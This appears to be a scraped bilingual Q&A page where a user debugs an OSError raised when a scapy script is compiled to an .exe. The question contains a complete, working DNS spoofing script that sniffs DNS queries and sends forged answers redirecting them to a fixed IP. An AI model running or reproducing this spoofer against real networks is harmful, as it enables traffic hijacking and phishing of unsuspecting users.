scapy OSError: [Errno 9] 错误的文件描述符 [英] scapy OSError: [Errno 9] Bad file descriptor

查看:106
本文介绍了scapy OSError: [Errno 9] 错误的文件描述符的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我在 windows xp 中使用 python 2.7 和 scapy-2.2.0.我正在尝试 dns 欺骗,它在 python 中运行良好.但是当我生成 .exe 并执行它时,出现此错误

I'm using python 2.7 and scapy-2.2.0 in windows xp. I'm trying dns spoofing and it works well in python. but when I make to .exe and execute it, I got this error

Traceback (most recent call last):
File "dns_spoof.py", line 17, in <module>
File "scapy\arch\windows\__init__.pyc", line 523, in sniff
File "dns_spoof.py", line 15, in dns_spoof
File "scapy\sendrecv.pyc", line 251, in send
File "scapy\sendrecv.pyc", line 237, in __gen_send
OSError: [Errno 9] Bad file descriptor

我该如何解决?请帮忙.

How can I fix it? Please help.

这是源代码.

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
    from scapy.all import *
except:
    from scapy import *
def dns_spoof(pkt):
    redirect_to = '172.16.22.91'
    if pkt.haslayer(DNSQR): # DNS question record
        spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                      UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                      DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \
                      an=DNSRR(rrname=pkt[DNS].qd.qname,  ttl=10, rdata=redirect_to))
        send(spoofed_pkt)
        print 'Sent:', spoofed_pkt.summary()
sniff(filter='udp port 53', iface='eth0', store=0, prn=dns_spoof)

推荐答案

看起来使用了错误的文件描述符(句柄).例如.作为标准输出(管道)打开的东西被用作套接字.

It looks like a wrong file descriptor (handle) is being used. E.g. something open as stdout (pipe) is used as a socket.

如果我理解正确,相同的程序可以从源代码运行,但在转入 exe 时失败.我说得对吗?

If I understand correctly, same program works from source and fails when rolled into an exe. Am I right?

如果你在 linux 上运行它,你会使用 strace 来找出哪个.

If you ran it on linux, you would use strace to figure out which.

Windows 上的等效工具是 Process MonitorLogger.exe.

Equivalent tools on windows are Process Monitor and Logger.exe.

这篇关于scapy OSError: [Errno 9] 错误的文件描述符的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆